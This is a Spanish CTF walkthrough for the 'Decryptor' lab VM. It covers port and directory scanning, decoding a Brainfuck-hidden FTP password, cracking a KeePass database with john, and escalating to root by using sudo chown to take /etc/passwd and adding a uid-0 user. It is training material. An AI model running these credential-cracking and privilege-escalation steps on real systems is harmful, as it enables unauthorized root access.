Decryptor

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-09 12:10 CET

Nmap scan report for 192.168.16.56

Host is up (0.00039s latency).

Not shown: 65532 closed tcp ports (reset)

PORT     STATE SERVICE VERSION

22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)

| ssh-hostkey:

|   256 01:86:f3:c5:03:b3:27:0e:47:8e:e9:2e:41:3f:b8:40 (ECDSA)

|_  256 5b:0c:8c:d1:16:99:16:90:59:c7:03:fe:21:67:1b:10 (ED25519)

80/tcp   open  http    Apache httpd 2.4.59 ((Debian))

|_http-server-header: Apache/2.4.59 (Debian)
```

```
|_http-title: Apache2 Debian Default Page: It works
2121/tcp open  ftp     vsftpd 3.0.3
MAC Address: 08:00:27:F7:2B:02 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.39 ms 192.168.16.56

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.55 seconds

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sat Nov  9 12:10:38 2024
URL_BASE: http://192.168.16.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Ignoring NOT_FOUND code -> 404

-----------------

GENERATED WORDS: 4612
```

```
---- Scanning URL: http://192.168.16.56/ ----

+ http://192.168.16.56/index.html
(CODE:200|SIZE:11074)

+ http://192.168.16.56/server-status
(CODE:403|SIZE:278)
```

//En el código html de la página, en la última línea encontramos texto codificado en brainfuck:

```
++++++++++[>+++++++++++>++++++++++>+++++++++++>+++++++++++>+++++++++++>++++++
++++>++++++++++>++++++++++++>++++++++++++>+++++++++++>++++++++++>+++++++++++
+>++++++++++++>++++++++++>++++++++++<<<<<<<<<<<<<<<-]>-.>---.>++++.>-----.>+.>+.>---
.>----.>-----.>--.>+.>----..>---.>-.>+.
```

//resultado brainfuck:marioeatslettuce

// En el paso anterior tenemos lo que puede ser un usuario o una contraseña, podemos jugar con eso para intentar entrar en el servicio ftp abierto que tiene la máquina, tras hacer pruebas entre los nombres obtenidos

//vemos que la combinación es:

```
ftp mario@192.168.16.56 -P 2121
```

//password marioeatslettuce

//Entramos en el ftp y al listar vemos que hay una base de datos de usuarios de keepassxc.

```
 ftp> ls

229 Entering Extended Passive Mode (|||57699|)

150 Here comes the directory listing.

-rw-r--r--    1 0        0            1390 May 21 06:50 user.kdbx

226 Directory send OK.

ftp> get user.kdbx

local: user.kdbx remote: user.kdbx

229 Entering Extended Passive Mode (|||42410|)
```

```
150 Opening BINARY mode data connection for user.kdbx (1390 bytes).

100%
|***********************************************************************************
************************************************************************************
************|  1390       73.97 KiB/s    00:00 ETA

226 Transfer complete.
```

//Instalamos la herramienta:

```
sudo apt install keepassxc
```

//Comprobamos si nos pide alguna contraseña, pero sí.

```
keepassxc user.kdbx
```

//Convertimos la base de datos a un formato donde la herramienta johnderipper pueda realizar la fuerza bruta.

```
keepass2john user.kdbx > hashkeepass.txt
```

```
cat hashkeepass.txt

    user:$keepass$*2*1*0*db07e93b1dc92bd6f11da8439cb20e32885a64f8cfcca93611bfae5f8d
682224*6320240b685a9b2e9aa5a62582c7a4d9d0ede5f59e17fde75031179f8dc180ed*22dd5
6f7029f94d0a4e9bb1da9f1d3a9*034e257b1e55b5e66c42aae22c3289dabfaf5c56c217f1cc0ed
a23bed4ed080b*b6d3bd9547d2e6bcca1609733dc47e2decd487d5bcb7f91100250b2b75db5b
b9
```

```
john hashkeepass.txt --wordlist=/usr/share/wordlists/rockyou.txt

    Using default input encoding: UTF-8

    Loaded 1 password hash (KeePass [SHA256 AES 32/64])

    Cost 1 (iteration count) is 1 for all loaded hashes

    Cost 2 (version) is 2 for all loaded hashes

    Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes

    Will run 3 OpenMP threads

    Press 'q' or Ctrl-C to abort, almost any other key for status

    moonshine1       (user)
```

//Entramos en la herramienta utilizando la contraseña moonshine1 y vemos que existe un usuario con su respectiva contraseña.

User:chiquero

Passwd:barcelona2012

```
ssh chiquero@192.168.16.56

chiquero@192.168.16.56's password:

Linux Decryptor 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64


The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.


Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

Last login: Tue May 21 07:52:17 2024 from 192.168.1.35
```

//En el directorio del usuario mario encontramos la primera flag:

```
chiquero@Decryptor:/home/mario$ cat user.txt
```

//Comprobamos si hay algo mal configurado con sudo y vemos que podemos realizar el comando chown con sudo.

```
chiquero@Decryptor:/home/mario$ sudo -l

Matching Defaults entries for chiquero on Decryptor:

    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty


User chiquero may run the following commands on Decryptor:

    (ALL) NOPASSWD: /usr/bin/chown
```

//Ahora buscamos alguna propiedad que tenga activado el suid con privilegios de root

```
find / -perm -4000 2>/dev/null
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/passwd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
```

//El binario /usr/bin/passwd donde se almacenan los usuarios podemos mirar de primero establecernos como dueño del fichero para posteriormente crear un usuario con privilegios de root.

```
chiquero@Decryptor:~$ sudo chown chiquero /usr/bin/passwd
sudo chown chiquero /etc/passwd
```

//Creamos un salt y una contraseña para que la codifique (sin contraseña no nos dejaría cambiar de usuario)

```
openssl passwd -1 -salt xyz123 yourpassword
```

//Editamos el fichero

```
nano /etc/passwd
```

```
hacked:$1$xyz123$abcdef...:0:0::/root:/bin/bash
```

```
su hacked
Password:
root@Decryptor:/home/chiquero# cd /root/
root@Decryptor:~# ls
root.txt
root@Decryptor:~# cat root.txt
```